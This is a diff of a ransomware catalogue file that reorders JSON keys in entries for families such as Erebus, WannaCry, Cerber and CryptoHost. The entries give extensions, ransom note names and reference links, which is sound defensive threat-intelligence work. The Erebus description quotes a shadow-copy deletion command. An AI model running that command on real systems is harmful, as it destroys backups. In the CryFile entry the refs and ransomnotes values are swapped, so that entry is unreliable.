+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.htm"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-nskzYgbg7Ac/V_jpJ3GApqI/AAAAAAAABos/EbG_-BLDPqA9bRVOWdzHjPnDWFiHYlsJwCLcB/s1600/ransom-note.png"
- ],
+ "date": "October 2016",
"encryption": "AES-256 CBC",
"extensions": [
".comrade"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-nskzYgbg7Ac/V_jpJ3GApqI/AAAAAAAABos/EbG_-BLDPqA9bRVOWdzHjPnDWFiHYlsJwCLcB/s1600/ransom-note.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.htm"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Fs0ciety Locker Ransomware",
- "uuid": "ed3a4f8a-49de-40c3-9acb-da1b78f89c4f"
+ "uuid": "ed3a4f8a-49de-40c3-9acb-da1b78f89c4f",
+ "value": "Fs0ciety Locker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-E9WbSxLgaYs/WGn8gC6EfvI/AAAAAAAAC8A/bzd7uP9fcxU6Fyq1n6-9ZbUUGWlls9lrwCLcB/s1600/note-txt_2.png"
- ],
+ "date": "September 2016",
"encryption": "AES",
"extensions": [
".ecrypt"
],
- "date": "September 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-E9WbSxLgaYs/WGn8gC6EfvI/AAAAAAAAC8A/bzd7uP9fcxU6Fyq1n6-9ZbUUGWlls9lrwCLcB/s1600/note-txt_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet",
- "value": "Erebus Ransomware",
- "uuid": "6a77c96b-1814-427f-83ca-fe7e0e40b1c0"
+ "uuid": "6a77c96b-1814-427f-83ca-fe7e0e40b1c0",
+ "value": "Erebus Ransomware"
},
{
+ "description": "According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.",
"meta": {
+ "date": "May 2017",
+ "refs": [
+ "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168"
+ ],
"synonyms": [
"WannaCrypt",
"WannaCry",
"WanaCrypt0r",
"WCrypt",
"WCRY"
- ],
- "refs": [
- "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168"
- ],
- "date": "May 2017"
+ ]
},
- "description": "According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.",
- "value": "WannaCry",
- "uuid": "d62ab8d5-4ba1-4c45-8a63-13fdb099b33c"
+ "uuid": "d62ab8d5-4ba1-4c45-8a63-13fdb099b33c",
+ "value": "WannaCry"
},
{
- "value": ".CryptoHasYou.",
"description": "Ransomware",
"meta": {
+ "encryption": "AES(256)",
"extensions": [
".enc"
],
- "encryption": "AES(256)",
"ransomnotes": [
"YOUR_FILES_ARE_LOCKED.txt"
],
@@ -4369,37 +4373,34 @@
"http://www.nyxbone.com/malware/CryptoHasYou.html"
]
},
- "uuid": "a0ce5d94-a22a-40db-a09f-a796d0bb4006"
+ "uuid": "a0ce5d94-a22a-40db-a09f-a796d0bb4006",
+ "value": ".CryptoHasYou."
},
{
- "value": "777",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Sevleg"
- ],
+ "encryption": "XOR",
"extensions": [
".777",
"._[timestamp]_$[email]$.777",
"e.g. ._14-05-2016-11-59-36_$ninja.gaiver@aol.com$.777"
],
- "encryption": "XOR",
"ransomnotes": [
"read_this_file.txt"
],
"refs": [
"https://decrypter.emsisoft.com/777"
+ ],
+ "synonyms": [
+ "Sevleg"
]
},
- "uuid": "cd9e9eaa-0895-4d55-964a-b53eacdfd36a"
+ "uuid": "cd9e9eaa-0895-4d55-964a-b53eacdfd36a",
+ "value": "777"
},
{
- "value": "7ev3n",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "7ev3n-HONE$T"
- ],
"extensions": [
".R4A",
".R5A"
@@ -4411,18 +4412,21 @@
"https://github.com/hasherezade/malware_analysis/tree/master/7ev3n",
"https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be",
"http://www.nyxbone.com/malware/7ev3n-HONE$T.html"
+ ],
+ "synonyms": [
+ "7ev3n-HONE$T"
]
},
- "uuid": "664701d6-7948-4e80-a333-1d1938103ba1"
+ "uuid": "664701d6-7948-4e80-a333-1d1938103ba1",
+ "value": "7ev3n"
},
{
- "value": "8lock8",
"description": "Ransomware Based on HiddenTear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".8lock8"
],
- "encryption": "AES-256",
"ransomnotes": [
"READ_IT.txt"
],
@@ -4430,10 +4434,10 @@
"http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/"
]
},
- "uuid": "b70b6537-cf00-4bd1-a4e9-ae5ff2eb7504"
+ "uuid": "b70b6537-cf00-4bd1-a4e9-ae5ff2eb7504",
+ "value": "8lock8"
},
{
- "value": "AiraCrop",
"description": "Ransomware related to TeamXRat",
"meta": {
"extensions": [
@@ -4446,10 +4450,10 @@
"https://twitter.com/PolarToffee/status/796079699478900736"
]
},
- "uuid": "77919c1f-4ef8-41cd-a635-2d3118ade1f3"
+ "uuid": "77919c1f-4ef8-41cd-a635-2d3118ade1f3",
+ "value": "AiraCrop"
},
{
- "value": "Al-Namrood",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4463,10 +4467,10 @@
"https://decrypter.emsisoft.com/al-namrood"
]
},
- "uuid": "0040dca4-bf2e-43cb-89ae-ab1b50f1183d"
+ "uuid": "0040dca4-bf2e-43cb-89ae-ab1b50f1183d",
+ "value": "Al-Namrood"
},
{
- "value": "ALFA Ransomware",
"description": "Ransomware Made by creators of Cerber",
"meta": {
"extensions": [
@@ -4479,17 +4483,17 @@
"http://www.bleepingcomputer.com/news/security/new-alfa-or-alpha-ransomware-from-the-same-devs-as-cerber/"
]
},
- "uuid": "888abc95-9e01-4cbc-a6e5-058eb9314f51"
+ "uuid": "888abc95-9e01-4cbc-a6e5-058eb9314f51",
+ "value": "ALFA Ransomware"
},
{
- "value": "Alma Ransomware",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-128",
"extensions": [
"random",
"random(x5)"
],
- "encryption": "AES-128",
"ransomnotes": [
"Unlock_files_randomx5.html"
],
@@ -4499,19 +4503,16 @@
"http://www.bleepingcomputer.com/news/security/new-alma-locker-ransomware-being-distributed-via-the-rig-exploit-kit/"
]
},
- "uuid": "76a08868-345f-4566-a403-5f5e575dfee5"
+ "uuid": "76a08868-345f-4566-a403-5f5e575dfee5",
+ "value": "Alma Ransomware"
},
{
- "value": "Alpha Ransomware",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "AlphaLocker"
- ],
+ "encryption": "AES-256",
"extensions": [
".encrypt"
],
- "encryption": "AES-256",
"ransomnotes": [
"Read Me (How Decrypt) !!!!.txt"
],
@@ -4519,12 +4520,15 @@
"http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip",
"http://www.bleepingcomputer.com/news/security/decrypted-alpha-ransomware-continues-the-trend-of-accepting-amazon-cards/",
"https://twitter.com/malwarebread/status/804714048499621888"
+ ],
+ "synonyms": [
+ "AlphaLocker"
]
},
- "uuid": "a27fff00-995a-4598-ba00-05921bf20e80"
+ "uuid": "a27fff00-995a-4598-ba00-05921bf20e80",
+ "value": "Alpha Ransomware"
},
{
- "value": "AMBA",
"description": "Ransomware Websites only amba@riseup.net",
"meta": {
"extensions": [
@@ -4538,10 +4542,10 @@
"https://twitter.com/benkow_/status/747813034006020096"
]
},
- "uuid": "8dd289d8-71bc-42b0-aafd-540dafa93343"
+ "uuid": "8dd289d8-71bc-42b0-aafd-540dafa93343",
+ "value": "AMBA"
},
{
- "value": "AngleWare",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4554,28 +4558,25 @@
"https://twitter.com/BleepinComputer/status/844531418474708993"
]
},
- "uuid": "e06526ac-0083-44ab-8787-dd7278746bb6"
+ "uuid": "e06526ac-0083-44ab-8787-dd7278746bb6",
+ "value": "AngleWare"
},
{
- "value": "Anony",
"description": "Ransomware Based on HiddenTear",
"meta": {
- "synonyms": [
- "ngocanh"
- ],
"refs": [
"https://twitter.com/struppigel/status/842047409446387714"
+ ],
+ "synonyms": [
+ "ngocanh"
]
},
- "uuid": "5b94100d-83bb-4e30-be7a-6015c00356e0"
+ "uuid": "5b94100d-83bb-4e30-be7a-6015c00356e0",
+ "value": "Anony"
},
{
- "value": "Apocalypse",
"description": "Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru",
"meta": {
- "synonyms": [
- "Fabiansomeware"
- ],
"extensions": [
".encrypted",
".SecureCrypted",
@@ -4596,12 +4597,15 @@
"refs": [
"https://decrypter.emsisoft.com/apocalypse",
"http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/"
+ ],
+ "synonyms": [
+ "Fabiansomeware"
]
},
- "uuid": "e38b8876-5780-4574-9adf-304e9d659bdb"
+ "uuid": "e38b8876-5780-4574-9adf-304e9d659bdb",
+ "value": "Apocalypse"
},
{
- "value": "ApocalypseVM",
"description": "Ransomware Apocalypse ransomware version which uses VMprotect",
"meta": {
"extensions": [
@@ -4615,10 +4619,10 @@
"http://decrypter.emsisoft.com/download/apocalypsevm"
]
},
- "uuid": "5bc9c3a5-a35f-43aa-a999-fc7cd0685994"
+ "uuid": "5bc9c3a5-a35f-43aa-a999-fc7cd0685994",
+ "value": "ApocalypseVM"
},
{
- "value": "AutoLocky",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4632,10 +4636,10 @@
"https://decrypter.emsisoft.com/autolocky"
]
},
- "uuid": "803fa9e2-8803-409a-b455-3a886c23fae4"
+ "uuid": "803fa9e2-8803-409a-b455-3a886c23fae4",
+ "value": "AutoLocky"
},
{
- "value": "Aw3s0m3Sc0t7",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4645,10 +4649,10 @@
"https://twitter.com/struppigel/status/828902907668000770"
]
},
- "uuid": "dced0fe8-224e-47ef-92ed-5ab6c0536daa"
+ "uuid": "dced0fe8-224e-47ef-92ed-5ab6c0536daa",
+ "value": "Aw3s0m3Sc0t7"
},
{
- "value": "BadBlock",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -4660,10 +4664,10 @@
"http://www.nyxbone.com/images/articulos/malware/badblock/5.png"
]
},
- "uuid": "f1a30552-21c1-46be-8b5f-64bd62b03d35"
+ "uuid": "f1a30552-21c1-46be-8b5f-64bd62b03d35",
+ "value": "BadBlock"
},
{
- "value": "BaksoCrypt",
"description": "Ransomware Based on my-Little-Ransomware",
"meta": {
"extensions": [
@@ -4674,37 +4678,34 @@
"https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/"
]
},
- "uuid": "b21997a1-212f-4bbe-a6b7-3c703cbf113e"
+ "uuid": "b21997a1-212f-4bbe-a6b7-3c703cbf113e",
+ "value": "BaksoCrypt"
},
{
- "value": "Bandarchor",
"description": "Ransomware Files might be partially encrypted",
"meta": {
- "synonyms": [
- "Rakhni"
- ],
+ "encryption": "AES-256",
"extensions": [
".id-1235240425_help@decryptservice.info",
".id-[ID]_[EMAIL_ADDRESS]"
],
- "encryption": "AES-256",
"ransomnotes": [
"HOW TO DECRYPT.txt"
],
"refs": [
"https://reaqta.com/2016/03/bandarchor-ransomware-still-active/",
"https://www.bleepingcomputer.com/news/security/new-bandarchor-ransomware-variant-spreads-via-malvertising-on-adult-sites/"
+ ],
+ "synonyms": [
+ "Rakhni"
]
},
- "uuid": "af50d07e-3fc5-4014-9ac5-f5466cf042bc"
+ "uuid": "af50d07e-3fc5-4014-9ac5-f5466cf042bc",
+ "value": "Bandarchor"
},
{
- "value": "Bart",
"description": "Ransomware Possible affiliations with RockLoader, Locky and Dridex",
"meta": {
- "synonyms": [
- "BaCrypt"
- ],
"extensions": [
".bart.zip",
".bart",
@@ -4718,12 +4719,15 @@
"http://now.avg.com/barts-shenanigans-are-no-match-for-avg/",
"http://phishme.com/rockloader-downloading-new-ransomware-bart/",
"https://www.proofpoint.com/us/threat-insight/post/New-Bart-Ransomware-from-Threat-Actors-Spreading-Dridex-and-Locky"
+ ],
+ "synonyms": [
+ "BaCrypt"
]
},
- "uuid": "3cf2c880-e0b5-4311-9c4e-6293f2a566e7"
+ "uuid": "3cf2c880-e0b5-4311-9c4e-6293f2a566e7",
+ "value": "Bart"
},
{
- "value": "BitCryptor",
"description": "Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.",
"meta": {
"extensions": [
@@ -4733,75 +4737,75 @@
"https://noransom.kaspersky.com/"
]
},
- "uuid": "b5e9a802-cd17-4cd6-b83d-f36cce009808"
+ "uuid": "b5e9a802-cd17-4cd6-b83d-f36cce009808",
+ "value": "BitCryptor"
},
{
- "value": "BitStak",
"description": "Ransomware",
"meta": {
+ "encryption": "Base64 + String Replacement",
"extensions": [
".bitstak"
],
- "encryption": "Base64 + String Replacement",
"refs": [
"https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip"
]
},
- "uuid": "33e398fa-2586-415e-9b18-6ea2ea36ff74"
+ "uuid": "33e398fa-2586-415e-9b18-6ea2ea36ff74",
+ "value": "BitStak"
},
{
- "value": "BlackShades Crypter",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "SilentShade"
- ],
+ "encryption": "AES-256",
"extensions": [
".Silent"
],
- "encryption": "AES-256",
"ransomnotes": [
"Hacked_Read_me_to_decrypt_files.html",
"YourID.txt"
],
"refs": [
"http://nyxbone.com/malware/BlackShades.html"
+ ],
+ "synonyms": [
+ "SilentShade"
]
},
- "uuid": "bf065217-e13a-4f6d-a5b2-ba0750b5c312"
+ "uuid": "bf065217-e13a-4f6d-a5b2-ba0750b5c312",
+ "value": "BlackShades Crypter"
},
{
- "value": "Blocatto",
"description": "Ransomware Based on HiddenTear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".blocatto"
],
- "encryption": "AES-256",
"refs": [
"http://www.bleepingcomputer.com/forums/t/614456/bloccato-ransomware-bloccato-help-support-leggi-questo-filetxt/"
]
},
- "uuid": "a3e1cfec-aacd-4d84-aa7d-99ed6c17f26d"
+ "uuid": "a3e1cfec-aacd-4d84-aa7d-99ed6c17f26d",
+ "value": "Blocatto"
},
{
- "value": "Booyah",
"description": "Ransomware EXE was replaced to neutralize threat",
"meta": {
"synonyms": [
"Salami"
]
},
- "uuid": "eee75995-321f-477f-8b57-eee4eedf4ba3"
+ "uuid": "eee75995-321f-477f-8b57-eee4eedf4ba3",
+ "value": "Booyah"
},
{
- "value": "Brazilian",
"description": "Ransomware Based on EDA2",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".lock"
],
- "encryption": "AES-256",
"ransomnotes": [
"MENSAGEM.txt"
],
@@ -4810,10 +4814,10 @@
"http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png"
]
},
- "uuid": "f9cf4f0d-3efc-4d6d-baf2-7dcb96db1279"
+ "uuid": "f9cf4f0d-3efc-4d6d-baf2-7dcb96db1279",
+ "value": "Brazilian"
},
{
- "value": "Brazilian Globe",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4826,10 +4830,10 @@
"https://twitter.com/JakubKroustek/status/821831437884211201"
]
},
- "uuid": "d2bc5ec4-1dd1-408a-a6f6-621986657dff"
+ "uuid": "d2bc5ec4-1dd1-408a-a6f6-621986657dff",
+ "value": "Brazilian Globe"
},
{
- "value": "BrLock",
"description": "Ransomware",
"meta": {
"encryption": "AES",
@@ -4837,15 +4841,15 @@
"https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered"
]
},
- "uuid": "889d2296-40d2-49f6-be49-cbdfbcde2246"
+ "uuid": "889d2296-40d2-49f6-be49-cbdfbcde2246",
+ "value": "BrLock"
},
{
- "value": "Browlock",
"description": "Ransomware no local encryption, browser only",
- "uuid": "9769be50-8e0b-4f52-b7f6-98aeac0aaac4"
+ "uuid": "9769be50-8e0b-4f52-b7f6-98aeac0aaac4",
+ "value": "Browlock"
},
{
- "value": "BTCWare Related to / new version of CryptXXX",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4858,10 +4862,10 @@
"https://twitter.com/malwrhunterteam/status/845199679340011520"
]
},
- "uuid": "8d60dec9-d43f-4d52-904f-40fb67e57ef7"
+ "uuid": "8d60dec9-d43f-4d52-904f-40fb67e57ef7",
+ "value": "BTCWare Related to / new version of CryptXXX"
},
{
- "value": "Bucbi",
"description": "Ransomware no file name change, no extension",
"meta": {
"encryption": "GOST",
@@ -4869,10 +4873,10 @@
"http://researchcenter.paloaltonetworks.com/2016/05/unit42-bucbi-ransomware-is-back-with-a-ukrainian-makeover/"
]
},
- "uuid": "3510ce65-80e6-4f80-8cde-bb5ad8a271c6"
+ "uuid": "3510ce65-80e6-4f80-8cde-bb5ad8a271c6",
+ "value": "Bucbi"
},
{
- "value": "BuyUnlockCode",
"description": "Ransomware Does not delete Shadow Copies",
"meta": {
"extensions": [
@@ -4882,10 +4886,10 @@
"BUYUNLOCKCODE.txt"
]
},
- "uuid": "289624c4-1d50-4178-9371-aebd95f423f9"
+ "uuid": "289624c4-1d50-4178-9371-aebd95f423f9",
+ "value": "BuyUnlockCode"
},
{
- "value": "Central Security Treatment Organization",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4899,21 +4903,18 @@
"http://www.bleepingcomputer.com/forums/t/625820/central-security-treatment-organization-ransomware-help-topic-cry-extension/"
]
},
- "uuid": "8ff729d9-aee5-4b85-a59d-3f57e105be40"
+ "uuid": "8ff729d9-aee5-4b85-a59d-3f57e105be40",
+ "value": "Central Security Treatment Organization"
},
{
- "value": "Cerber",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".cerber",
".cerber2",
".cerber3"
],
- "synonyms": [
- "CRBR ENCRYPTOR"
- ],
- "encryption": "AES",
"ransomnotes": [
"# DECRYPT MY FILES #.html",
"# DECRYPT MY FILES #.txt",
@@ -4932,12 +4933,15 @@
"https://blog.malwarebytes.org/threat-analysis/2016/03/cerber-ransomware-new-but-mature/",
"https://community.rsa.com/community/products/netwitness/blog/2016/11/04/the-evolution-of-cerber-v410",
"https://www.bleepingcomputer.com/news/security/cerber-renames-itself-as-crbr-encryptor-to-be-a-pita/"
+ ],
+ "synonyms": [
+ "CRBR ENCRYPTOR"
]
},
- "uuid": "190edf95-9cd9-4e4a-a228-b716d52a751b"
+ "uuid": "190edf95-9cd9-4e4a-a228-b716d52a751b",
+ "value": "Cerber"
},
{
- "value": "Chimera",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -4954,20 +4958,20 @@
"https://blog.malwarebytes.org/threat-analysis/2015/12/inside-chimera-ransomware-the-first-doxingware-in-wild/"
]
},
- "uuid": "27b036f0-afa3-4984-95b3-47fa344b1aa7"
+ "uuid": "27b036f0-afa3-4984-95b3-47fa344b1aa7",
+ "value": "Chimera"
},
{
- "value": "Clock",
"description": "Ransomware Does not encrypt anything",
"meta": {
"refs": [
"https://twitter.com/JakubKroustek/status/794956809866018816"
]
},
- "uuid": "af3b3bbb-b54d-49d0-8e58-e9c56762a96b"
+ "uuid": "af3b3bbb-b54d-49d0-8e58-e9c56762a96b",
+ "value": "Clock"
},
{
- "value": "CoinVault",
"description": "Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!",
"meta": {
"extensions": [
@@ -4980,18 +4984,18 @@
"https://noransom.kaspersky.com/"
]
},
- "uuid": "15941fb1-08f0-4276-a61f-e2a306d6c6b5"
+ "uuid": "15941fb1-08f0-4276-a61f-e2a306d6c6b5",
+ "value": "CoinVault"
},
{
- "value": "Coverton",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".coverton",
".enigma",
".czvxce"
],
- "encryption": "AES-256",
"ransomnotes": [
"!!!-WARNING-!!!.html",
"!!!-WARNING-!!!.txt"
@@ -5000,10 +5004,10 @@
"http://www.bleepingcomputer.com/news/security/paying-the-coverton-ransomware-may-not-get-your-data-back/"
]
},
- "uuid": "36450e8c-ff66-4ecf-9c0f-fbfb27a72d63"
+ "uuid": "36450e8c-ff66-4ecf-9c0f-fbfb27a72d63",
+ "value": "Coverton"
},
{
- "value": "Cryaki",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5013,22 +5017,23 @@
"https://support.kaspersky.com/viruses/disinfection/8547"
]
},
- "uuid": "2c11d679-1fb1-4bd7-9516-9c6f402f3c25"
+ "uuid": "2c11d679-1fb1-4bd7-9516-9c6f402f3c25",
+ "value": "Cryaki"
},
{
- "value": "Crybola",
"description": "Ransomware",
"meta": {
"refs": [
"https://support.kaspersky.com/viruses/disinfection/8547"
]
},
- "uuid": "93dcd241-f2d6-40f3-aee3-351420046a77"
+ "uuid": "93dcd241-f2d6-40f3-aee3-351420046a77",
+ "value": "Crybola"
},
{
- "value": "CryFile",
"description": "Ransomware",
"meta": {
+ "encryption": "Moves bytes",
"extensions": [
".criptiko",
".criptoko",
@@ -5036,26 +5041,20 @@
".cripttt",
".aga"
],
- "encryption": "Moves bytes",
+ "ransomnotes": [
+ "http://virusinfo.info/showthread.php?t=185396"
+ ],
"refs": [
"SHTODELATVAM.txt",
"Instructionaga.txt"
- ],
- "ransomnotes": [
- "http://virusinfo.info/showthread.php?t=185396"
]
},
- "uuid": "0d46e21d-8f1c-4355-8205-185fb7e041a7"
+ "uuid": "0d46e21d-8f1c-4355-8205-185fb7e041a7",
+ "value": "CryFile"
},
{
- "value": "CryLocker",
"description": "Ransomware Identifies victim locations w/Google Maps API",
"meta": {
- "synonyms": [
- "Cry",
- "CSTO",
- "Central Security Treatment Organization"
- ],
"extensions": [
".cry"
],
@@ -5065,12 +5064,17 @@
],
"refs": [
"http://www.bleepingcomputer.com/news/security/the-crylocker-ransomware-communicates-using-udp-and-stores-data-on-imgur-com/"
+ ],
+ "synonyms": [
+ "Cry",
+ "CSTO",
+ "Central Security Treatment Organization"
]
},
- "uuid": "629f6986-2c1f-4d0a-b805-e4ef3e2ce634"
+ "uuid": "629f6986-2c1f-4d0a-b805-e4ef3e2ce634",
+ "value": "CryLocker"
},
{
- "value": "CrypMIC",
"description": "Ransomware CryptXXX clone/spinoff",
"meta": {
"encryption": "AES-256",
@@ -5083,10 +5087,10 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/"
]
},
- "uuid": "82cb7a40-0a78-4414-9afd-028d6b3082ea"
+ "uuid": "82cb7a40-0a78-4414-9afd-028d6b3082ea",
+ "value": "CrypMIC"
},
{
- "value": "Crypren",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5101,50 +5105,50 @@
"http://www.nyxbone.com/images/articulos/malware/crypren/0.png"
]
},
- "uuid": "a9f05b4e-6b03-4211-a2bd-6b4432eb3388"
+ "uuid": "a9f05b4e-6b03-4211-a2bd-6b4432eb3388",
+ "value": "Crypren"
},
{
- "value": "Crypt38",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".crypt38"
],
- "encryption": "AES",
"refs": [
"https://download.bleepingcomputer.com/demonslay335/Crypt38Keygen.zip",
"https://blog.fortinet.com/2016/06/17/buggy-russian-ransomware-inadvertently-allows-free-decryption"
]
},
- "uuid": "12a96f43-8a8c-410e-aaa3-ba6735276555"
+ "uuid": "12a96f43-8a8c-410e-aaa3-ba6735276555",
+ "value": "Crypt38"
},
{
- "value": "Crypter",
"description": "Ransomware Does not actually encrypt the files, but simply renames them",
"meta": {
"refs": [
"https://twitter.com/jiriatvirlab/status/802554159564062722"
]
},
- "uuid": "37edc8d7-c939-4a33-9ed5-dafbbc1e5b1e"
+ "uuid": "37edc8d7-c939-4a33-9ed5-dafbbc1e5b1e",
+ "value": "Crypter"
},
{
- "value": "CryptFIle2",
"description": "Ransomware",
"meta": {
+ "encryption": "RSA",
"extensions": [
".scl",
"id[_ID]email_xerx@usa.com.scl"
],
- "encryption": "RSA",
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered"
]
},
- "uuid": "5b0dd136-6428-48c8-b2a6-8e926a82dfac"
+ "uuid": "5b0dd136-6428-48c8-b2a6-8e926a82dfac",
+ "value": "CryptFIle2"
},
{
- "value": "CryptInfinite",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5154,10 +5158,10 @@
"https://decrypter.emsisoft.com/"
]
},
- "uuid": "2b0d60c3-6560-49ac-baf0-5f642e8a77de"
+ "uuid": "2b0d60c3-6560-49ac-baf0-5f642e8a77de",
+ "value": "CryptInfinite"
},
{
- "value": "CryptoBit",
"description": "Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.",
"meta": {
"encryption": "AES + RSA",
@@ -5169,10 +5173,10 @@
"http://news.softpedia.com/news/new-cryptobit-ransomware-could-be-decryptable-503239.shtml"
]
},
- "uuid": "1903ed75-05f7-4019-b0b7-7a8f23f22194"
+ "uuid": "1903ed75-05f7-4019-b0b7-7a8f23f22194",
+ "value": "CryptoBit"
},
{
- "value": "CryptoDefense",
"description": "Ransomware no extension change",
"meta": {
"ransomnotes": [
@@ -5184,38 +5188,38 @@
"https://decrypter.emsisoft.com/"
]
},
- "uuid": "ad9eeff2-91b4-440a-ae74-ab84d3e2075e"
+ "uuid": "ad9eeff2-91b4-440a-ae74-ab84d3e2075e",
+ "value": "CryptoDefense"
},
{
- "value": "CryptoFinancial",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Ranscam"
- ],
"refs": [
"http://blog.talosintel.com/2016/07/ranscam.html",
"https://nakedsecurity.sophos.com/2016/07/13/ransomware-that-demands-money-and-gives-you-back-nothing/"
+ ],
+ "synonyms": [
+ "Ranscam"
]
},
- "uuid": "383d7ebb-9b08-4874-b5d7-dc02b499c38f"
+ "uuid": "383d7ebb-9b08-4874-b5d7-dc02b499c38f",
+ "value": "CryptoFinancial"
},
{
- "value": "CryptoFortress",
"description": "Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB",
"meta": {
+ "encryption": "AES-256 + RSA-1024",
"extensions": [
".frtrss"
],
- "encryption": "AES-256 + RSA-1024",
"ransomnotes": [
"READ IF YOU WANT YOUR FILES BACK.html"
]
},
- "uuid": "26c8b446-305c-4057-83bc-85b09630281e"
+ "uuid": "26c8b446-305c-4057-83bc-85b09630281e",
+ "value": "CryptoFortress"
},
{
- "value": "CryptoGraphic Locker",
"description": "Ransomware Has a GUI. Subvariants: CoinVault BitCryptor",
"meta": {
"extensions": [
@@ -5225,42 +5229,42 @@
"wallpaper.jpg"
]
},
- "uuid": "58534bc4-eb96-44f4-bdad-2cc5cfea8c6f"
+ "uuid": "58534bc4-eb96-44f4-bdad-2cc5cfea8c6f",
+ "value": "CryptoGraphic Locker"
},
{
- "value": "CryptoHost",
"description": "Ransomware RAR's victim's files has a GUI",
"meta": {
+ "encryption": "AES-256 (RAR implementation)",
+ "refs": [
+ "http://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/"
+ ],
"synonyms": [
"Manamecrypt",
"Telograph",
"ROI Locker"
- ],
- "encryption": "AES-256 (RAR implementation)",
- "refs": [
- "http://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/"
]
},
- "uuid": "dba2cf74-16a9-4ed8-8536-6542fda95999"
+ "uuid": "dba2cf74-16a9-4ed8-8536-6542fda95999",
+ "value": "CryptoHost"
},
{
- "value": "CryptoJoker",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".crjoker"
